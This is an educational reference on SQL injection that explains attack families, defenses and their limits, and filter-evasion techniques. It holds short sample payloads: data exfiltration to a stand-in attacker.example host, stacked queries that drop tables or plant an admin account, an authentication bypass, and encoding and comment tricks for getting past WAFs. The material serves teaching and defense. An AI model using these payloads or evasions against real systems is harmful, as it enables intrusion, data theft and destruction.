SQL Injections: Attacks, Defenses and Evasion

A Working Reference for Exemplar Selection

October 7, 2026

1 Core Attack Families

These four families are defined by properties of the attack itself, independent of any defense: how stolen data travels back to the attacker, how the malicious payload is shaped, and when it executes relative to when it was submitted. A real attack may combine several of them. The examples are short, generic illustrations rather than engine-specific syntax.

1.1 Out-of-band (OOB)

Sometimes the attacker sees nothing useful in the normal reply—no visible results, no error text, not even a timing difference to measure. Instead of trying to read data back, they make the database itself reach out across the network to a server the attacker controls, and they hide a stolen value inside the *address* of that outbound request. When the request arrives, the attacker simply reads the address and recovers the secret. The database has been turned into a courier.

The two common channels are DNS and HTTP. In the DNS version, a value such as the current database user is placed into a hostname the database is tricked into looking up:

```
(SELECT current_user) || '.attacker.example'   -> DNS lookup for admin.attacker.example
```

The attacker reads the stolen username straight out of their own DNS server logs. The HTTP version is the same idea with a web request, `http://attacker.example/?d=(secret)`, leaking the value in the URL.

1.2 Piggy-backed / stacked queries

SQL lets several statements be written in one string, separated by a semicolon. If the application hands user input to a database interface that allows multiple statements, the attacker closes the intended statement with `;` and writes brand-new statements after it. The first, legitimate statement runs, and then the attacker's statements run too, with the same privileges the application has—so a harmless read-only page becomes a tool for writes, deletes, or account creation.

```
'; DROP TABLE sessions; --                                  (destroy data)
'; INSERT INTO users(name,role) VALUES('x','admin'); --     (plant a backdoor)
```

1.3 Comment-based / query truncation

Every SQL dialect has a comment marker (`--` or `#`) that tells the engine to ignore the rest of the line. The attacker injects this marker to *delete the tail* of the original query—the part the developer

appended after the injection point—so that a password check, or a trailing quote or parenthesis that would otherwise break the payload, simply vanishes. The attack works by removing constraints rather than adding them.

For example, a login form builds a query that checks username and password together. If the attacker submits the username `admin'--`, the password half is commented out and the query authenticates `admin` with no password at all:

```
SELECT * FROM users WHERE user = 'admin'-- ' AND pass = '...'
```

The same trick is used for cleanup: a trailing `--` placed after an injected `UNION SELECT` discards a leftover `ORDER BY` or closing parenthesis that would otherwise make the attacker's query invalid.

1.4 Second-order (stored)

Second-order injection deserves the most attention of the four, because it defeats the two defenses teams rely on most and it is the hardest to detect. The malicious value does *nothing* when it is first submitted. It is accepted and stored like any ordinary piece of data—frequently escaped or parameterized perfectly correctly on the way in, so every input check at the front door passes. The value sits quietly in the database as legitimate-looking content.

The harm comes *later*, in a completely separate request, when some other part of the application reads that stored value back and builds a new query by pasting it in as text. At that moment the payload finally executes. Injection and effect are therefore pulled apart in three ways at once: in *time* (the two events may be minutes or weeks apart), across *code paths* (a sign-up form versus an admin report), and often across *privilege levels* (the value may fire inside a high-privilege administrative routine it could never have reached directly). A concrete sequence:

```
// Step 1 - attacker registers; the value is stored SAFELY (parameterized write)
username = admin'--

// Step 2 - days later, an admin report builds a query by concatenation
sql = "SELECT * FROM audit WHERE created_by = '" + storedUsername + "'"
```

The stored `admin'--` now truncates the admin query, exactly as in the comment-based case, but from *inside* the database. A second variant stores an entire stacked payload in a profile field such as a display name:

```
displayName = '; UPDATE users SET role = 'admin' WHERE name = 'attacker'; --
```

which fires whenever an unrelated feature rebuilds a query from stored profiles.

Two properties make this family important for detection work. First, it slips past *input validation*, because the value is genuinely valid when received—nothing at the entry point looks wrong. Second, it slips past *parameterization*, not because parameterization failed at the write (it worked), but because the *later* read re-introduces the value through string concatenation, in code the original developer may not even associate with user input. And critically, in the request where the payload finally executes, there is *no attacker-supplied input present at all* to inspect—the dangerous data came from the trusted database. Any detector that assumes an injection and its effect live in the same request is, by construction, blind to this family.

2 Defenses

Defenses fall into three roles: *prevention* stops the injection from ever being interpreted as code, *containment* limits the damage once an injection succeeds, and *detection* watches traffic or execution and blocks what looks malicious. Each subsection explains how the mechanism actually works, gives representative (open-source first) tools, and states concretely what it fails to stop.

2.1 Parameterized queries / prepared statements (prevention)

This is the primary recommended defense, and the idea is simple: keep the *code* of a query and the *data* it operates on strictly apart. Instead of gluing the user's input into a query string, the application sends the query as a fixed template with a placeholder wherever a value will go:

```
SELECT * FROM users WHERE name = ?;
```

The database receives this template and parses and compiles it *before it has seen any user input.* At that moment the shape of the query is frozen: the engine already knows there is one comparison against the `name` column, and that the placeholder is a single value. The user's input is then sent separately and slotted into that frozen plan as pure data. Because parsing is already finished, the input can never be re-read as SQL. A hostile name like `' OR 1=1 --` is simply compared, character for character, against the `name` column—it matches no one, and nothing in it is executed. In practice you use your language's binding API, such as `PreparedStatement` in Java or PDO in PHP; most ORMs (for example SQLAlchemy) do this for you automatically.

Limitation. Binding only works for *values*—the data being compared or inserted. It cannot fill in parts that decide the query's *structure*, such as a table name, a column name, or the column you sort by, because those have to be known at parse time, before any value is bound. Developers therefore often build those parts by pasting text, which reopens the hole. If a "sort by" feature does this:

```
query = "SELECT * FROM products ORDER BY " + userInput;
```

then the `ORDER BY` position is fully injectable even though every value elsewhere in the application is safely bound. This is why an app can be "100% parameterized" and still vulnerable.

2.2 Input validation and canonicalization (prevention)

Validation checks each input against what it is supposed to look like and rejects anything that does not fit. The strong form is an *allow-list* that describes the only acceptable shape—for instance, "an order ID is 1 to 8 digits and nothing else." The weak form is a *deny-list* that tries to spot and block known-bad fragments such as the words `UNION` or `OR 1=1`. Allow-listing is far safer because it says what is permitted rather than trying to imagine everything that is forbidden.

Canonicalization is the step that has to come first. The same payload can be written in many disguises—percent-encoded, encoded twice, or using look-alike Unicode characters— so before anything is checked, the input is decoded and normalized to one standard form. For example, an incoming `%27` is first turned back into a quote so the validator actually sees it:

```
%27%20OR%201=1   ->  ' OR 1=1
```

The goal is to make sure the thing being inspected is the same thing the database will eventually run. In practice the three steps—canonicalize, then allow-list, then hand the clean value to a parameterized query—look like this in a small JavaScript (Node/Express) handler:

```
// An order ID must be 1-8 digits and nothing else.
app.get('/order/:id', (req, res) => {
  const raw = decodeURIComponent(req.params.id);   // 1. canonicalize first
  if (!/^[0-9]{1,8}$/.test(raw)) {                  // 2. allow-list check
    return res.status(400).send('Invalid order id');
  }
  db.query('SELECT * FROM orders WHERE id = ?', [raw]);  // 3. bind as a value
});
```

The regular expression is the allow-list: it accepts only the exact shape a real order ID can take, so a payload like `5 OR 1=1` or `5'; DROP TABLE orders; --` never even reaches the query. Framework validators (such as Django's) and canonicalize-then-validate libraries (such as OWASP ESAPI) package these same steps.

Limitation. A deny-list can never list every dangerous spelling—there are endless equivalents—so attackers get through with a form the list forgot. And if the canonicalizer does not decode input in exactly the same way the database driver later will, something that looked harmless at check time becomes live by the time it reaches the database. Front-door validation is also blind to second-order attacks, where the value arrives looking completely valid and only turns malicious later.

2.3 Web application firewall (detection)

A web application firewall (WAF) sits in front of the application like a checkpoint on the road: every HTTP request passes through it before reaching the code. The WAF reads the raw request—the URL, the parameters, the headers—and compares those bytes against a large library of signatures, which are patterns (usually regular expressions) describing known attacks. A rough example of such a pattern is:

```
union\s+select      # flag any "union" followed by "select"
```

If the request matches, it is blocked or logged. A WAF is a broad, catch-all safety net rather than a precise control, and it is valuable mainly as an extra layer. In the open-source world the usual setup is the OWASP Core Rule Set running on an engine such as Coraza (the successor the project is moving toward now that ModSecurity's commercial support has ended).

Limitation. The WAF only ever sees the request as text on the wire; it never sees the final SQL the application builds and sends to the database. So if the attacker disguises the payload—re-encoding it, or breaking up the keywords—so that the literal pattern is not present, but the application and database still turn it back into the real attack, the WAF lets it pass. Essentially every technique in the Evasion section is aimed at this blind spot.

2.4 Runtime protection / RASP (detection)

RASP (Runtime Application Self-Protection) moves the inspection *inside* the running application, right next to where queries are actually executed. It attaches itself to the exact function the program uses to talk to the database—for example, the method that runs a query—and watches each call as it happens:

```
db.execute(finalQuery)   <- RASP inspects finalQuery here
```

By this point every layer of encoding has already been undone, so RASP sees the real, final query string, and good implementations also know the structure the developer intended. If a parameter that was only ever supposed to carry a value has instead added new query structure, RASP recognizes the mismatch and blocks the call. Because it watches at the moment of execution and with full application context, it is much harder to fool with the encoding tricks that defeat a WAF. The best-known open-source option is OpenRASP.

Limitation. RASP only protects the specific database calls that have been instrumented, and it normally reasons about one request at a time. That means a second-order attack—whose malicious part was planted in an earlier, separate request— or an out-of-band leak that never touches the normal response can slip past its view. It also adds some runtime overhead to every protected call.

2.5 Database-side containment

These are not separate products but settings of the database itself, and their goal is to limit the damage once an injection has already succeeded rather than to prevent it. The most important is *least privilege*: give the application's database account only the rights it genuinely needs and nothing more.

```
GRANT SELECT, INSERT ON shop.orders TO 'webapp';
-- no DROP, no access to other databases, no file/network functions
```

With an account scoped like this, even a successful injection cannot drop tables, read unrelated databases, or reach the operating system, because the account is simply not allowed to. Two smaller settings help as well: turning off multiple statements in the database driver makes piggy-backed ;-separated attacks fail outright, and suppressing detailed error messages (showing users a generic error while logging the detail on the server) removes the feedback that error-based attacks rely on.

Limitation. Containment shrinks the blast radius but does not stop the injection itself. An attacker can still read or change anything the account *is* allowed to touch, so data theft through blind or union-based techniques still works within that permitted scope.

2.6 Network egress control (containment)

This is a firewall rule that forbids the database server from making *outbound* connections of its own—no DNS lookups, no HTTP requests to the internet. It exists to close the out-of-band channel specifically: recall that an OOB attack works by making the database act as a courier, reaching out to the attacker's server with stolen data hidden in the address. If the database is not allowed to open any outbound connection, it cannot carry that message, and the channel is dead. These rules are enforced with ordinary infrastructure tools such as host firewalls (nftables) or cloud security groups.

Limitation. It addresses only the out-of-band case. It does nothing against attacks that hand data back through the normal reply (in-band) or that infer it from how the application behaves (blind), since those never need the database to phone out.

3 Evasion Techniques

These are not new kinds of payload but *transforms* layered on top of a Core-Family payload. Each one re-expresses, re-positions, re-times, or re-channels the attack so that a specific defense sees something harmless while the database still executes the real thing. The last column explains, in plain terms, why the defense is fooled.

Technique	**How it works**	**Example**	**What it evades, and why**
Alternate / mismatched encodings	The payload is written in an encoded form that one layer leaves alone but a later layer decodes back into the real keyword. Double-encoding abuses the fact that different layers each decode once.	`%55NION` decodes to `UNION`; `%2555` survives one decode as `%55`, then a second decode yields `U`.	**Signature filter / WAF.** The filter inspects the still-encoded text and sees no keyword; the app and DB decode it afterward, so the version that runs differs from the version that was checked.
Token splitting via comments	Inline comment delimiters are inserted inside a keyword. A signature expects the keyword as one unbroken word, but the SQL parser throws the comment away and rejoins the pieces.	`UN/**/ION` `SE/**/LECT`	**Signature filter.** The literal word `UNION` never appears in the input, so the pattern does not match—yet the parser reconstitutes it.
Case / whitespace mutation	Keywords are recased and unusual whitespace (tabs, newlines, repeated spaces) is placed between tokens. SQL is case-insensitive and whitespace-tolerant, so meaning is unchanged.	`uNiOn` (tab) `sElEcT`	**Naive literal or regex signatures.** A rule written for the exact string `union select` misses `uNiOn sElEcT`, but the database treats them identically.
Logical / syntactic equivalents	A blocked construct is swapped for a different one that means exactly the same thing. There are unlimited ways to write an always-true condition.	`OR 1=1` rewritten as `OR 'a'='a'` or `OR 2>1`.	**Deny-list filter.** The list blocks specific spellings, not the underlying meaning; an equivalent it did not list carries the identical effect.

Technique	How it works	Example	What it evades, and why
Dynamic keyword construction	The forbidden keyword or string is not written at all—it is assembled at run time from character codes or concatenation, so it exists only after the database evaluates it.	`CONCAT('SEL','ECT');` a string built from `CHAR()` codes.	**Signature filter (strongest case).** The pattern is provably absent from the input—there is nothing to match until the DB itself builds the keyword in memory.
HTTP parameter fragmentation / pollution	One payload is split across several parameters, or the same parameter is sent twice, and the server or app later joins the pieces into the full attack.	`id=1/*` in one `id` and `*/UNION SELECT...` in a second `id` (joined by the server).	**Entry-point input validation.** Each fragment looks valid on its own and passes per-field checks; only the reassembled whole is malicious, and nothing validated the whole.
Charset / encoding confusion	The routine that escapes dangerous characters assumes one character set, but the database uses another. A crafted multibyte sequence "swallows" the backslash the escaper added, re-exposing the quote it was meant to neutralize.	A multibyte lead byte that consumes the escaping \ before the injected '.	**Escaping / sanitization.** Escaping is only correct relative to a charset agreement; breaking that agreement makes the added backslash vanish, and the quote breaks out of the string as if never escaped.
Injection into non-parameterizable positions	The attack is aimed at a spot a prepared statement cannot protect—a column name, a table name, or the `ORDER BY` sort target—because those define query structure and the app usually builds them by pasting text.	A sort parameter set to `(CASE WHEN (...) THEN name ELSE id END)` to leak data one condition at a time.	**Parameterized queries.** Placeholders bind values only; a structural position is still glued in as raw text, so the one defense everyone trusts simply does not cover this spot.

Technique	How it works	Example	What it evades, and why
Second-order (cross-listed)	The payload is stored cleanly in one request and only becomes an injection when a later request reads it back into a new query. It is a Core Family, but its time gap is also an evasion.	Stored `admin'--` that fires in a later admin query.	**Entry-point validation.** The value is clean when received and passes every front-door check; by the time it executes, the request carrying it contains no attacker input to inspect.